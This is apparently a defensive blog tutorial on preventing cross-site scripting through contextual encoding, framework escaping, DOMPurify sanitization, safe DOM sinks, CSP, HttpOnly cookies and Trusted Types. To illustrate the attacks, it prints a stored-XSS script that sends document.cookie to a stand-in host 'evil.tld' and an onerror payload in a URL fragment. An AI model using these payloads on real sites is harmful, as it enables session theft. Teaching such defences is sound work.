A practical guide to stopping XSS through contextual output encoding, framework escaping, sanitization, CSP, and Trusted Types.
Cross-site scripting is still on nearly every appsec top-ten list, and the reason is boring: attacker-controlled data ends up in a page as executable markup instead of inert text. Fix that one thing correctly and most XSS disappears. This post walks through the three flavors of XSS, the root fix, and the defense-in-depth layers you stack on top.
Stored XSS: The payload is saved server-side and served to every visitor. Classic case is a comment field. A user submits <script>fetch('https://evil.tld/c?'+document.cookie)</script> as their comment, your app writes it to the database, and every reader who loads the thread runs it. This is the worst kind because it needs no social engineering.
Reflected XSS: The payload rides in the request and bounces straight back into the response. A search page that renders You searched for: <the query> without encoding lets an attacker craft https://app.tld/search?q=<script>...</script> and send it to a victim. The server reflects the query into HTML and the browser executes it.
DOM-based XSS: The vulnerability never touches the server. Client-side JavaScript reads untrusted input and writes it into a dangerous sink. For example:
// Reads location.hash and drops it straight into the DOM.
document.getElementById('welcome').innerHTML =
'Hi ' + decodeURIComponent(location.hash.slice(1));
// URL: https://app.tld/#<img src=x onerror=alert(document.cookie)>
The server sends clean HTML; the browser assembles the exploit locally. Your WAF and server-side filters never see it.
XSS is an output problem, not an input problem. The durable fix is encoding data for the exact context it lands in, at the moment you render it. The same string is safe in one context and dangerous in another, so "escape on input" fails. You need context awareness:
< > & " ' to entities. < becomes <.encodeURIComponent, and reject javascript: and data: schemes in href and src.Encoding for the wrong context is a real bug. HTML-encoding a value that lands inside a <script> block does nothing useful, because the JavaScript parser does not decode HTML entities.
Modern frameworks default to HTML-body encoding on interpolation, which is why greenfield React and Vue apps rarely have basic XSS. In React, {userInput} is escaped. In Vue, {{ userInput }} is escaped. Angular treats interpolated values as untrusted by default.
The problem is the escape hatches. Every framework ships a way to render raw HTML, and every one of them reintroduces XSS if you hand it untrusted data:
dangerouslySetInnerHTMLv-html[innerHTML] with bypassed sanitizationinnerHTML, outerHTML, document.write, insertAdjacentHTMLThe dangerously prefix is a deliberate warning. Treat any grep hit on these as a code review flag.
Sometimes you genuinely need to render user-authored HTML, such as rich-text comments or markdown output. You cannot encode it, because encoding would show the tags as literal text. Instead, sanitize it against an allowlist. Use a maintained library like DOMPurify. Do not write your own regex sanitizer; you will lose to <img src=x onerror=...> and mutation-based bypasses.
Here is the vulnerable React version next to the fixed one:
// VULNERABLE: renders attacker HTML verbatim.
function Comment({ body }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
// FIXED: sanitize against an allowlist before rendering.
import DOMPurify from 'dompurify';
function Comment({ body }) {
const clean = DOMPurify.sanitize(body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
The fix keeps the rich-text feature while stripping scripts, event handlers, and dangerous URL schemes. Configure the allowlist to the smallest set your feature needs.
DOM-based XSS is prevented by choosing safe sinks. The core rule: when you are inserting text, use a text API, not an HTML API.
// VULNERABLE: string becomes markup, onerror fires.
const name = decodeURIComponent(location.hash.slice(1));
el.innerHTML = 'Hi ' + name;
// FIXED: textContent never parses HTML.
el.textContent = 'Hi ' + name;
// If you need structured nodes, build them explicitly.
const strong = document.createElement('strong');
strong.textContent = name; // still inert
el.append('Hi ', strong);
Keep eval, new Function, document.write, and setTimeout('string') out of the codebase entirely. They turn strings into code and have no place in application logic. A lint rule that bans these sinks is cheap insurance.
Encoding is the fix; CSP is the seatbelt for the bug you missed. A strict policy tells the browser which scripts may run, so an injected <script> is refused even when it slips into the DOM. Prefer a nonce or hash-based policy over host allowlists:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m';
object-src 'none';
base-uri 'none';
Every legitimate inline script carries the matching nonce attribute; anything the attacker injects lacks it and is blocked. Avoid 'unsafe-inline' and 'unsafe-eval', which defeat the point. There is more nuance on rollout and reporting in the HTTP security headers guide.
Two more layers reduce the blast radius:
HttpOnly cookies: Mark session cookies HttpOnly so document.cookie cannot read them. If an XSS still fires, the attacker cannot exfiltrate the session token through JavaScript. Pair it with Secure and SameSite.
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
Trusted Types: A browser feature that makes DOM-XSS sinks refuse plain strings. With require-trusted-types-for 'script' set, assigning a raw string to innerHTML throws unless it passed through a policy you defined. It moves sink safety from "remember to be careful" to "the platform enforces it," and it pairs naturally with DOMPurify, which can emit TrustedHTML directly.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify;
Encode output for its context and let your framework do it by default; that removes the overwhelming majority of XSS. When you must render user HTML, sanitize it with DOMPurify against a tight allowlist, never a hand-rolled filter. Ban the DOM-XSS sinks with a lint rule so they never reach review. Then layer defense in depth: a strict nonce-based CSP, HttpOnly session cookies, and Trusted Types where the browser support fits your users. None of these layers is optional in a serious app, because each one catches the failure of the layer above it. For where XSS fits in the broader program, see our application security best practices.
Get the latest tutorials, guides, and insights on AI, DevOps, Cloud, and Infrastructure delivered directly to your inbox.
A production-focused CircleCI guide: orbs, reusable commands and executors, workflows with fan-in/fan-out, contexts and OIDC for secrets, layered caching, test splitting, approval jobs, and dynamic config β with copy-paste examples.
A field-tested workflow for finding which process burns your CPU and whether the time is user, system, or iowait.
Explore more articles in this category
Run only the CI jobs a change actually affects using if conditionals, trigger path filters, and per-job path detection in a monorepo.
A prioritized toolkit for cutting CI time: measure the critical path first, then cache, parallelize, run only what changed, and shrink the work itself.
Stop stashing long-lived AWS access keys in GitHub secrets and let OIDC hand your workflows short-lived, scoped credentials instead.
Evergreen posts worth revisiting.